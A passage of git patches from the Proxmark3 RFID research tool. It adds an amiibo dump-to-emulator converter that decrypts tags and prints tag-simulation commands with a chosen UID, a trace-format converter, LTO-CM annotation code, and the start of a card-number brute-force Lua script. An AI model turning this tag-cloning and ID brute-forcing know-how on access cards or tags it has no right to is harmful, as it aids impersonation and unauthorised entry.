Smash Bros.", +0x002d => "Super Smash Bros.", +0x002e => "Super Smash Bros.", +0x002f => "Super Smash Bros.", +0x0030 => "Super Smash Bros.", +0x0031 => "Super Smash Bros.", +0x0032 => "Super Smash Bros.", +0x0033 => "Super Smash Bros.", +0x023d => "Super Smash Bros.", +0x0251 => "Super Smash Bros.", +0x0252 => "Super Smash Bros.", +0x0253 => "Super Smash Bros.", +0x0258 => "Super Smash Bros.", +0x0034 => "Super Mario", +0x0035 => "Super Mario", +0x0036 => "Super Mario", +0x0037 => "Super Mario", +0x0038 => "Super Mario", +0x0039 => "Super Mario", +0x0262 => "Super Mario", +0x0263 => "Super Mario", +0x0028 => "Super Mario", +0x003c => "Super Mario", +0x003d => "Super Mario", +0x003a => "Chibi Robo", +0x003e => "Splatoon", +0x003f => "Splatoon", +0x0040 => "Splatoon", +0x025d => "Splatoon", +0x025e => "Splatoon", +0x025f => "Splatoon", +0x0260 => "Splatoon", +0x0261 => "Splatoon", +0x0044 => "Animal Crossing Cards", +0x0045 => "Animal Crossing Cards", +0x0046 => "Animal Crossing Cards", +0x0047 => "Animal Crossing Cards", +0x0048 => "Animal Crossing Cards", +0x0049 => "Animal Crossing Cards", +0x004a => "Animal Crossing Cards", +0x004b => "Animal Crossing Cards", +0x004c => "Animal Crossing Cards", +0x004d => "Animal Crossing Cards", +0x004e => "Animal Crossing Cards", +0x004f => "Animal Crossing Cards", +0x0050 => "Animal Crossing Cards", +0x0051 => "Animal Crossing Cards", +0x0052 => "Animal Crossing Cards", +0x0053 => "Animal Crossing Cards", +0x0054 => "Animal Crossing Cards", +0x0055 => "Animal Crossing Cards", +0x0056 => "Animal Crossing Cards", +0x0057 => "Animal Crossing Cards", +0x0058 => "Animal Crossing Cards", +0x0059 => "Animal Crossing Cards", +0x005a => "Animal Crossing Cards", +0x005b => "Animal Crossing Cards", +0x005c => "Animal Crossing Cards", +0x005d => "Animal Crossing Cards", +0x005e => "Animal Crossing Cards", +0x005f => "Animal Crossing Cards", +0x0060 => "Animal Crossing Cards", +0x0061 => "Animal Crossing Cards", +0x0062 => "Animal Crossing Cards", +0x0063 => "Animal Crossing Cards", +0x0064 => "Animal Crossing Cards", +0x0065 => "Animal Crossing Cards", +0x0066 => "Animal Crossing Cards", +0x0067 => "Animal Crossing Cards", +0x0068 => "Animal Crossing Cards", +0x0069 => "Animal Crossing Cards", +0x006a => "Animal Crossing Cards", +0x006b => "Animal Crossing Cards", +0x006c => "Animal Crossing Cards", +0x006d => "Animal Crossing Cards", +0x006e => "Animal Crossing Cards", +0x006f => "Animal Crossing Cards", +0x0070 => "Animal Crossing Cards", +0x0071 => "Animal Crossing Cards", +0x0072 => "Animal Crossing Cards", +0x0073 => "Animal Crossing Cards", +0x0074 => "Animal Crossing Cards", +0x0075 => "Animal Crossing Cards", +0x0076 => "Animal Crossing Cards", +0x0077 => "Animal Crossing Cards", +0x0078 => "Animal Crossing Cards", +0x0079 => "Animal Crossing Cards", +0x007a => "Animal Crossing Cards", +0x007b => "Animal Crossing Cards", +0x007c => "Animal Crossing Cards", +0x007d => "Animal Crossing Cards", +0x007e => "Animal Crossing Cards", +0x007f => "Animal Crossing Cards", +0x0080 => "Animal Crossing Cards", +0x0081 => "Animal Crossing Cards", +0x0082 => "Animal Crossing Cards", +0x0083 => "Animal Crossing Cards", +0x0084 => "Animal Crossing Cards", +0x0085 => "Animal Crossing Cards", +0x0086 => "Animal Crossing Cards", +0x0087 => "Animal Crossing Cards", +0x0088 => "Animal Crossing Cards", +0x0089 => "Animal Crossing Cards", +0x008a => "Animal Crossing Cards", +0x008b => "Animal Crossing Cards", +0x008c => "Animal Crossing Cards", +0x008d => "Animal Crossing Cards", +0x008e => "Animal Crossing Cards", +0x008f => "Animal Crossing Cards", +0x0090 => "Animal Crossing Cards", +0x0091 => "Animal Crossing Cards", +0x0092 => "Animal Crossing Cards", +0x0093 => "Animal Crossing Cards", +0x0094 => "Animal Crossing Cards", +0x0095 => "Animal Crossing Cards", +0x0096 => "Animal Crossing Cards", +0x0097 => "Animal Crossing Cards", +0x0098 => "Animal Crossing Cards", +0x0099 => "Animal Crossing Cards", +0x009a => "Animal Crossing Cards", +0x009b => "Animal Crossing Cards", +0x009c => "Animal Crossing Cards", +0x009d => "Animal Crossing Cards", +0x009e => "Animal Crossing Cards", +0x009f => "Animal Crossing Cards", +0x00a0 => "Animal Crossing Cards", +0x00a1 => "Animal Crossing Cards", +0x00a2 => "Animal Crossing Cards", +0x00a3 => "Animal Crossing Cards", +0x00a4 => "Animal Crossing Cards", +0x00a5 => "Animal Crossing Cards", +0x00a6 => "Animal Crossing Cards", +0x00a7 => "Animal Crossing Cards", +0x00a8 => "Animal Crossing Cards", +0x00a9 => "Animal Crossing Cards", +0x00aa => "Animal Crossing Cards", +0x00ab => "Animal Crossing Cards", +0x00ac => "Animal Crossing Cards", +0x00ad => "Animal Crossing Cards", +0x00ae => "Animal Crossing Cards", +0x00af => "Animal Crossing Cards", +0x00b0 => "Animal Crossing Cards", +0x00b1 => "Animal Crossing Cards", +0x00b2 => "Animal Crossing Cards", +0x00b3 => "Animal Crossing Cards", +0x00b4 => "Animal Crossing Cards", +0x00b5 => "Animal Crossing Cards", +0x00b6 => "Animal Crossing Cards", +0x00b7 => "Animal Crossing Cards", +0x00b8 => "Animal Crossing Cards", +0x00b9 => "Animal Crossing Cards", +0x00ba => "Animal Crossing Cards", +0x00bb => "Animal Crossing Cards", +0x00bc => "Animal Crossing Cards", +0x00bd => "Animal Crossing Cards", +0x00be => "Animal Crossing Cards", +0x00bf => "Animal Crossing Cards", +0x00c0 => "Animal Crossing Cards", +0x00c1 => "Animal Crossing Cards", +0x00c2 => "Animal Crossing Cards", +0x00c3 => "Animal Crossing Cards", +0x00c4 => "Animal Crossing Cards", +0x00c5 => "Animal Crossing Cards", +0x00c6 => "Animal Crossing Cards", +0x00c7 => "Animal Crossing Cards", +0x00c8 => "Animal Crossing Cards", +0x00c9 => "Animal Crossing Cards", +0x00ca => "Animal Crossing Cards", +0x00cb => "Animal Crossing Cards", +0x00cc => "Animal Crossing Cards", +0x00cd => "Animal Crossing Cards", +0x00ce => "Animal Crossing Cards", +0x00cf => "Animal Crossing Cards", +0x00d0 => "Animal Crossing Cards", +0x00d1 => "Animal Crossing Cards", +0x00d2 => "Animal Crossing Cards", +0x00d3 => "Animal Crossing Cards", +0x00d4 => "Animal Crossing Cards", +0x00d5 => "Animal Crossing Cards", +0x00d6 => "Animal Crossing Cards", +0x00d7 => "Animal Crossing Cards", +0x00d8 => "Animal Crossing Cards", +0x00d9 => "Animal Crossing Cards", +0x00da => "Animal Crossing Cards", +0x00db => "Animal Crossing Cards", +0x00dc => "Animal Crossing Cards", +0x00dd => "Animal Crossing Cards", +0x00de => "Animal Crossing Cards", +0x00df => "Animal Crossing Cards", +0x00e0 => "Animal Crossing Cards", +0x00e1 => "Animal Crossing Cards", +0x00e2 => "Animal Crossing Cards", +0x00e3 => "Animal Crossing Cards", +0x00e4 => "Animal Crossing Cards", +0x00e5 => "Animal Crossing Cards", +0x00e6 => "Animal Crossing Cards", +0x00e7 => "Animal Crossing Cards", +0x00e8 => "Animal Crossing Cards", +0x00e9 => "Animal Crossing Cards", +0x00ea => "Animal Crossing Cards", +0x00eb => "Animal Crossing Cards", +0x00ec => "Animal Crossing Cards", +0x00ed => "Animal Crossing Cards", +0x00ee => "Animal Crossing Cards", +0x00ef => "Animal Crossing Cards", +0x00f0 => "Animal Crossing Cards", +0x00f1 => "Animal Crossing Cards", +0x00f2 => "Animal Crossing Cards", +0x00f3 => "Animal Crossing Cards", +0x00f4 => "Animal Crossing Cards", +0x00f5 => "Animal Crossing Cards", +0x00f6 => "Animal Crossing Cards", +0x00f7 => "Animal Crossing Cards", +0x00f8 => "Animal Crossing Cards", +0x00f9 => "Animal Crossing Cards", +0x00fa => "Animal Crossing Cards", +0x00fb => "Animal Crossing Cards", +0x00fc => "Animal Crossing Cards", +0x00fd => "Animal Crossing Cards", +0x00fe => "Animal Crossing Cards", +0x00ff => "Animal Crossing Cards", +0x0100 => "Animal Crossing Cards", +0x0101 => "Animal Crossing Cards", +0x0102 => "Animal Crossing Cards", +0x0103 => "Animal Crossing Cards", +0x0104 => "Animal Crossing Cards", +0x0105 => "Animal Crossing Cards", +0x0106 => "Animal Crossing Cards", +0x0107 => "Animal Crossing Cards", +0x0108 => "Animal Crossing Cards", +0x0109 => "Animal Crossing Cards", +0x010a => "Animal Crossing Cards", +0x010b => "Animal Crossing Cards", +0x01d4 => "Animal Crossing Cards", +0x01d5 => "Animal Crossing Cards", +0x01d6 => "Animal Crossing Cards", +0x01d7 => "Animal Crossing Cards", +0x01d8 => "Animal Crossing Cards", +0x0041 => "Yoshi's Woolly World", +0x0042 => "Yoshi's Woolly World", +0x0043 => "Yoshi's Woolly World", +0x023e => "Yoshi's Woolly World", +0x035d => "Yoshi's Woolly World", +0x0238 => "8 - Bit Mario", +0x0239 => "8 - Bit Mario", +0x023a => "Skylanders", +0x023b => "Skylanders", +0x023f => "Animal Crossing Figures", +0x0240 => "Animal Crossing Figures", +0x0241 => "Animal Crossing Figures", +0x0242 => "Animal Crossing Figures", +0x0243 => "Animal Crossing Figures", +0x0244 => "Animal Crossing Figures", +0x0245 => "Animal Crossing Figures", +0x0246 => "Animal Crossing Figures", +0x0247 => "Animal Crossing Figures", +0x0248 => "Animal Crossing Figures", +0x0249 => "Animal Crossing Figures", +0x024a => "Animal Crossing Figures", +0x024f => "The Legend of Zelda", +0x034b => "The Legend of Zelda", +0x034c => "The Legend of Zelda", +0x034d => "The Legend of Zelda", +0x034e => "The Legend of Zelda", +0x034f => "The Legend of Zelda", +0x0350 => "The Legend of Zelda", +0x0351 => "The Legend of Zelda", +0x0352 => "The Legend of Zelda", +0x0353 => "The Legend of Zelda", +0x0354 => "The Legend of Zelda", +0x0355 => "The Legend of Zelda", +0x0356 => "The Legend of Zelda", +0x0357 => "The Legend of Zelda", +0x0358 => "The Legend of Zelda", +0x0359 => "The Legend of Zelda", +0x035a => "The Legend of Zelda", +0x035b => "The Legend of Zelda", +0x035c => "The Legend of Zelda", +0x0250 => "Shovel Knight", +0x0254 => "Kirby", +0x0255 => "Kirby", +0x0256 => "Kirby", +0x0257 => "Kirby", +0x025c => "Pokken", +0x02e1 => "Monster Hunter Stories", +0x02e2 => "Monster Hunter Stories", +0x02e3 => "Monster Hunter Stories", +0x0319 => "Animal Crossing Sanrio", +0x031a => "Animal Crossing Sanrio", +0x031b => "Animal Crossing Sanrio", +0x031c => "Animal Crossing Sanrio", +0x031d => "Animal Crossing Sanrio", +0x031e => "Animal Crossing Sanrio", +0x035e => "BoxBoy!", +0x0360 => "Fire Emblem", +0x0361 => "Fire Emblem", +); + +my %amiiboseries = ( +0x00 => "Super Smash Bros.", +0x01 => "Super Mario", +0x02 => "Chibi-Robo", +0x03 => "Yoshi's Woolly World", +0x04 => "Splatoon", +0x05 => "Animal Crossing", +0x06 => "8 - Bit Mario", +0x07 => "Skylanders", +0x08 => "???", +0x09 => "The Legend Of Zelda", +0x0A => "Shovel Knight", +0x0B => "??? (Pikmin?)", +0x0C => "Kirby", +0x0D => "Pokken", +0x0E => "Mario Sports Superstars", +0x0F => "Monster Hunter", +0x10 => "BoxBoy!", +0x11 => "???", +0x12 => "Fire Emblem", +); + +use strict; +my @err; +sub err { push @err, @_ } + +die "usage: $0 \n" unless @ARGV == 1; +my $input = shift; + +open(IN, "<$input") || die "Can't read $input$!"; +my $file = join "", ; +close(IN); + +sub bytes { return substr($file, ((length($file) + $UIDLOC) + $_[0]), $_[1] || 1) } + +# check for crypto +#my $dec_check = substr($file, ((length($file) + $UIDLOC) + 3 ), 1) eq "\xE0"; +#my $enc_check = substr($file, ((length($file) + $UIDLOC) + 3 + 8), 1) eq "\xE0"; +my $dec_check = bytes(3 + 0, 1) eq "\xE0"; +my $enc_check = bytes(3 + 8, 1) eq "\xE0"; + +my $game = ( unpack("H3", bytes(84 + 0, 2))); +my $char = (substr(unpack("H2", bytes(84 + 1)), 1)); +my $cvar = ( unpack("H2", bytes(84 + 2))); +my $type = ( unpack("H2", bytes(84 + 3))); +my $amii = ( unpack("H4", bytes(84 + 4, 2))); +my $amis = ( unpack("H2", bytes(84 + 6))); +my $last = ( unpack("H2", bytes(84 + 7))); +err "Character / info: " . join(" ", map { unpack("H2", $_) } split(//, bytes(84, 8))); +err "Game : $game $game{hex($game)}"; +err "Character: $char --"; +err "Variation: $cvar --"; +err "Type : $type $type{hex($type)}"; +err "Amiibo : $amii $amiibo{hex($amii)}"; +err "Series : $amis $amiiboseries{hex($amis)}"; +err "Last : $last (should be 02)"; +err ""; + +# looks like encrypted file +my $run; +if ($enc_check && !$dec_check) +{ + if ($DECRYPT) + { + $run = "'$AMIITOOL' -d -k '$KEYFILE' -i '$input'"; + err "Looks like encrypted file, decrypting"; + err "Running: $run"; + $file = `$run`; + } + else + { + err "Looks like encrypted file but setting preventing us from decrypting"; + } +} +elsif ($enc_check && $dec_check) +{ + $run = "'$AMIITOOL' -d -k '$KEYFILE' -i '$input'"; + err "Looks like encrypted AND decrypted file, will try decrypting first"; + err "Running: $run"; + my $tmp = `$run`; + if (!$tmp) + { + err "Decryption failed, assuming file is already decrypted"; + } + else + { + err "Decryption succeeded, loading decrypted contents"; + $file = $tmp; + } +} +elsif ($dec_check && !$enc_check) +{ + err "Looks like decrypted file, great!"; +} +elsif (!$dec_check && !$enc_check) +{ + die "Does not look like proper file format! Exiting.\n"; +} + +my $lines = $BLOCKS; +my $uid = unpack("H14", + substr($file, length($file) + $UIDLOC, 3) . + substr($file, (length($file) + $UIDLOC) + 4, 4)); +my $pwd = unpack("H8", substr($file, length($file) - 8, 4)); + +# file does not contain our 48 byte header, let's add it +if ($ADDHDR && length($file) == -1 * $UIDLOC) +{ + err "Does not contain header, adding"; + while () + { + $lines--; + chomp; # there may not be a newline so chomp and add below + print "$_\n"; + } +} + +while (length($file)) +{ + my $out = substr($file, 0, $BLOCKSIZE, ""); # was 16 + $out = unpack("H*", $out); + print "$out\n"; + + # grab UID +=cut + if ($BLOCKS - $lines == 12) + { + $uid = substr($out, 0, 6); + } + elsif ($BLOCKS - $lines == 13) + { + $uid .= substr($out, 0, 8); + } +=cut + + $lines--; +} + +# still need to pad to 255 4-byte (8 hex char) blocks +if ($lines > 0) +{ + while ($lines--) + { + print "00000000\n"; + } +} + + +print STDERR "\n"; +print STDERR "$_\n" for @err; +print STDERR "UID: $uid\n"; +print STDERR "PWD: $pwd\n"; +print STDERR "\n"; +$uid = uc $uid; +#print STDERR "amiitool -d -k ../client/amiitool/key_retail.bin -i $input -o $input.decrypted\n"; +$input =~ s/\....$//; +print STDERR "hf mf eload u $input\n"; +print STDERR "hf 14a sim t 7 u $uid\n"; + + +__DATA__ +00040402 +01001103 +01000000 +00808000 +92580b4c +45a9c42f +a90145ce +5e5f9c43 +09a43d47 +d232a3d1 +68cbade6 +7f8185c6 diff --git a/tools/pm3_cs8.pl b/tools/pm3_cs8.pl new file mode 100755 index 000000000..2d10c07d0 --- /dev/null +++ b/tools/pm3_cs8.pl @@ -0,0 +1,43 @@ +#!/usr/bin/perl + +use strict; + +die "usage: $0 \n" unless @ARGV == 1; +# Convert proxmark3 trace to cs8 (complex int8/hackrf fmt) for inspectrum +# From miek + +if ($ARGV[0] =~ /wav$/) +{ + system("sox $ARGV[0] -t raw -e signed-integer -b 16 $ARGV[0].cs16"); +} +else +{ + #perl -ne 'chomp; print pack "c", $_' p.trace > p.c8 + my $f = "/tmp/pm3.trace." . rand(); + open(F, ">$f") || die $!; + open(IN, "<$ARGV[0]"); + while () + { + chomp; + print F pack "c", $_; + } + close(IN); + close(F); + +# upsample 100x and pad 2nd channel with zeroes + system("sox -t s8 -r 1 -c 1 -v 0.5 $f -t s8 -r 100 -c 2 $f.cs8 remix 1 0"); + + open(OUT, ">$ARGV[0].cs8") || die $!; + open(IN, "<$f.cs8") || die $!; + print OUT while ; + print OUT "\0" x (1024 * 1024); + close(IN); + close(OUT); + + unlink($f, "$f.cs8"); + +# pad file since inspectrum doesn't handle small files so well +#system("dd if=/dev/zero of=$f.pad bs=1m count=1 >>/dev/null"); + +#system("cat $f.cs8 $f.pad > $ARGV[1]"); +} \ No newline at end of file From 9e41221be1ab6dd14052ab50f1448f86bf455e3f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:53:10 +0100 Subject: [PATCH 119/418] chmod --- tools/pm3_eml_mfd_test.py | 0 tools/pm3_mf7b_wipe.py | 0 2 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tools/pm3_eml_mfd_test.py mode change 100644 => 100755 tools/pm3_mf7b_wipe.py diff --git a/tools/pm3_eml_mfd_test.py b/tools/pm3_eml_mfd_test.py old mode 100644 new mode 100755 diff --git a/tools/pm3_mf7b_wipe.py b/tools/pm3_mf7b_wipe.py old mode 100644 new mode 100755 From 89cacceb5a07da5e21bac64cd39e928ac497a1de Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 22:56:49 +0100 Subject: [PATCH 120/418] textual: linking to file formats --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 7e4c28145..2c9a129e0 100644 --- a/README.md +++ b/README.md @@ -61,17 +61,17 @@ The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public- We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards. ## Notes / helpful documents -- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). -- Internal notes on [UART](/doc/uart_notes.md) -- Internal notes on [Frame format](/doc/new_frame_format.md) -- Internal notes on [external flash](/doc/ext_flash_notes.md) -- Internal notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) -- Internal notes on [Termux / Android](/doc/termux_notes.md) -- Internal notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md) -- Internal notes on [loclass](/doc/loclass_notes.md) -- Internal notes on [EMV](/doc/emv_notes.md) -- Internal notes on [Paths](/doc/path_notes.md) - +- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). +- notes on [UART](/doc/uart_notes.md) +- notes on [Frame format](/doc/new_frame_format.md) +- notes on [external flash](/doc/ext_flash_notes.md) +- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) +- notes on [Termux / Android](/doc/termux_notes.md) +- notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md) +- notes on [loclass](/doc/loclass_notes.md) +- notes on [EMV](/doc/emv_notes.md) +- notes on [Paths](/doc/path_notes.md) +- notes on [file formats used with Proxmark3](/doc/extensions_notes.md) ## Cheat sheet Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md) From 406d048059db261e24c0cdb5c9b53f12e3f30ab7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Dec 2019 23:12:29 +0100 Subject: [PATCH 121/418] textual --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index c4e0e9d35..853a63a91 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,9 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) + - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) + - Chg `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) - Chg `data save f w` - params reworked. (@iceman1001) - Chg `hf search` - now should detect LTO-CM tags (@iceman1001) - Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001) From 5f7fe45f589a51bfbe436c1c613311cac197a16c Mon Sep 17 00:00:00 2001 From: Samy Kamkar Date: Mon, 23 Dec 2019 15:43:49 -0800 Subject: [PATCH 122/418] Support multiple files, sanitize input, detect sox --- tools/pm3_cs8.pl | 81 +++++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 29 deletions(-) diff --git a/tools/pm3_cs8.pl b/tools/pm3_cs8.pl index 2d10c07d0..398e06f31 100755 --- a/tools/pm3_cs8.pl +++ b/tools/pm3_cs8.pl @@ -1,43 +1,66 @@ #!/usr/bin/perl +# +# Convert proxmark3 trace or wav files to formats to be used by Inspectrum +# +# Converts proxmark3 trace to cs8 (Complex 8-bit signed integer samples, eg HackRF IQ format) +# and .wav to cs16 (Complex 16-bit signed integer samples, eg BladeRF IQ format) +# +# -samy kamkar, https://samy.pl + +# we use `sox` to convert, set this to full path if preferred +my $SOX = "sox"; use strict; -die "usage: $0 \n" unless @ARGV == 1; -# Convert proxmark3 trace to cs8 (complex int8/hackrf fmt) for inspectrum -# From miek +die "usage: $0 [/path/to/sox (optional)] [...more traces]\n" unless @ARGV; +$SOX = shift if $ARGV[0] =~ m/(?:[\/\\]|^)sox$/; +trace_conv($_) for @ARGV; -if ($ARGV[0] =~ /wav$/) +sub trace_conv { - system("sox $ARGV[0] -t raw -e signed-integer -b 16 $ARGV[0].cs16"); -} -else -{ - #perl -ne 'chomp; print pack "c", $_' p.trace > p.c8 - my $f = "/tmp/pm3.trace." . rand(); - open(F, ">$f") || die $!; - open(IN, "<$ARGV[0]"); - while () + my $file = shift; + if ($file =~ /wav$/i) { - chomp; - print F pack "c", $_; + my @run = ($SOX, qw/$file -t raw -e signed-integer -b 16 $file.cs16/); + run_rewrite($file, @run); + print "Wrote $file.cs16\n\n"; } - close(IN); - close(F); + else + { + my $f = "/tmp/pm3.trace." . rand(); + open(F, ">$f") || die "Can't write to $f: $!"; + open(IN, "<$file") || die "Can't read $file: $!"; + while () + { + chomp; + print F pack "c", $_; + } + close(IN); + close(F); -# upsample 100x and pad 2nd channel with zeroes - system("sox -t s8 -r 1 -c 1 -v 0.5 $f -t s8 -r 100 -c 2 $f.cs8 remix 1 0"); + # upsample 100x and pad 2nd channel with zeroes + my @run = ($SOX, qw/-t s8 -r 1 -c 1 -v 0.5 $file -t s8 -r 100 -c 2 $file.cs8 remix 1 0/); + run_rewrite($f, @run); - open(OUT, ">$ARGV[0].cs8") || die $!; - open(IN, "<$f.cs8") || die $!; - print OUT while ; - print OUT "\0" x (1024 * 1024); - close(IN); - close(OUT); + # pad file since inspectrum doesn't handle small files so well + open(OUT, ">$file.cs8") || die $!; + open(IN, "<$f.cs8") || die $!; + print OUT while ; + print OUT "\0" x (1024 * 1024); + close(IN); + close(OUT); - unlink($f, "$f.cs8"); + unlink($f, "$f.cs8"); + print "Wrote $file.cs8\n\n"; + } +} -# pad file since inspectrum doesn't handle small files so well -#system("dd if=/dev/zero of=$f.pad bs=1m count=1 >>/dev/null"); +sub run_rewrite +{ + my ($file, @run) = @_; + s/\$file/$file/ foreach @run; + print "Running: @run\n"; -#system("cat $f.cs8 $f.pad > $ARGV[1]"); + my $ret = system(@run); + die "Failed: $! ($ret)\ndo you have $run[0] installed?\n" if $ret; } \ No newline at end of file From aeb3f74c106c6412b53a6bbf1594b2a6912b416a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 00:57:15 +0100 Subject: [PATCH 123/418] Add: 'hf lto list' - annotation for LTO-CM --- client/cmdhflist.c | 43 +++++++++++++++++++++++++++++++++++++++++++ client/cmdhflist.h | 1 + client/cmdtrace.c | 8 +++++++- include/protocols.h | 1 + 4 files changed, 52 insertions(+), 1 deletion(-) diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 7a46b5deb..589a81365 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -1095,6 +1095,49 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } } +void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { + switch (cmd[0]) { + case LTO_REQ_STANDARD: + snprintf(exp, size, "REQ Standard"); + break; + case LTO_SELECT: + snprintf(exp, size, "SELECT"); + break; + case LTO_SELECT_1: + snprintf(exp, size, "SELECT_1"); + break; + case LTO_REQ_ALL: + snprintf(exp, size, "REQ All"); + break; + case LTO_TEST_CMD_1: + snprintf(exp, size, "TEST CMD 1"); + break; + case LTO_TEST_CMD_2: + snprintf(exp, size, "TEST CMD 2"); + break; + case LTO_READWORD: + snprintf(exp, size, "READWORD"); + break; + case (LTO_READBLOCK & 0xF0): + snprintf(exp, size, "READBLOCK"); + break; + case LTO_READBLOCK_CONT: + snprintf(exp, size, "READBLOCK CONT"); + break; + case LTO_WRITEWORD: + snprintf(exp, size, "WRITEWORD"); + break; + case (LTO_WRITEBLOCK & 0xF0): + snprintf(exp, size, "WRITEBLOCK"); + break; + case LTO_HALT: + snprintf(exp, size, "HALT"); + break; + default: + break; + } +} + void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse) { if (!isResponse && cmdsize == 1) { switch (cmd[0]) { diff --git a/client/cmdhflist.h b/client/cmdhflist.h index 42ae6e83b..d13285bc4 100644 --- a/client/cmdhflist.h +++ b/client/cmdhflist.h @@ -48,6 +48,7 @@ void annotateIso14443b(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse); +void annotateLTO(char *explanation, size_t size, uint8_t *cmd, uint8_t cmdsize); bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen); bool NTParityChk(TAuthData *ad, uint32_t ntx); diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 7e9b53548..51f5fad28 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -46,6 +46,7 @@ static int usage_trace_list() { PrintAndLogEx(NORMAL, " legic - interpret data as LEGIC communications"); PrintAndLogEx(NORMAL, " felica - interpret data as ISO18092 / FeliCa communications"); PrintAndLogEx(NORMAL, " hitag - interpret data as Hitag2 / HitagS communications"); + PrintAndLogEx(NORMAL, " lto - interpret data as LTO-CM communications"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace list 14a f"); @@ -264,6 +265,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr break; case ISO_14443A: case MFDES: + case LTO: crcStatus = iso14443A_CRC_check(isResponse, frame, data_len); break; case THINFILM: @@ -302,6 +304,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr && protocol != PROTO_HITAG && protocol != THINFILM && protocol != FELICA + && protocol != LTO && (isResponse || protocol == ISO_14443A) && (oddparity8(frame[j]) != ((parityBits >> (7 - (j & 0x0007))) & 0x01))) { @@ -378,6 +381,8 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr break; case FELICA: annotateFelica(explanation, sizeof(explanation), frame, data_len); + case LTO: + annotateLTO(explanation, sizeof(explanation), frame, data_len); break; default: break; @@ -589,6 +594,7 @@ int CmdTraceList(const char *Cmd) { else if (strcmp(type, "mf") == 0) protocol = PROTO_MIFARE; else if (strcmp(type, "hitag") == 0) protocol = PROTO_HITAG; else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM; + else if (strcmp(type, "lto") == 0) protocol = LTO; else if (strcmp(type, "raw") == 0) protocol = -1; //No crc, no annotations else errors = true; @@ -651,7 +657,7 @@ int CmdTraceList(const char *Cmd) { } } else { PrintAndLogEx(NORMAL, "Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); - if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ) + if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ || protocol == LTO) PrintAndLogEx(NORMAL, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); if (protocol == THINFILM) PrintAndLogEx(NORMAL, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); diff --git a/include/protocols.h b/include/protocols.h index d04173557..857cb2a4a 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -307,6 +307,7 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define PROTO_MIFARE 9 #define PROTO_HITAG 10 #define THINFILM 11 +#define LTO 12 //-- Picopass fuses #define FUSE_FPERS 0x80 From 7bb5f513402f7278e45cfc89465f541671086ed6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 09:52:11 +0100 Subject: [PATCH 124/418] style --- client/luascripts/hf_bruteforce.lua | 105 ++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 client/luascripts/hf_bruteforce.lua diff --git a/client/luascripts/hf_bruteforce.lua b/client/luascripts/hf_bruteforce.lua new file mode 100644 index 000000000..5ba6d9802 --- /dev/null +++ b/client/luascripts/hf_bruteforce.lua @@ -0,0 +1,105 @@ +-- Run me like this: proxmark3 /dev/rfcomm0 -l ./hf_bruteforce.lua + +local getopt = require('getopt') + +copyright = '' +author = 'Keld Norman' +version = 'v1.0.0' +desc = [[ + +]] +example = [[ + -- (the above example would bruteforce card number, starting at 1, ending at 10, and waiting 1 second between each card) + + script run hf_bruteforce -s 1 -e 10 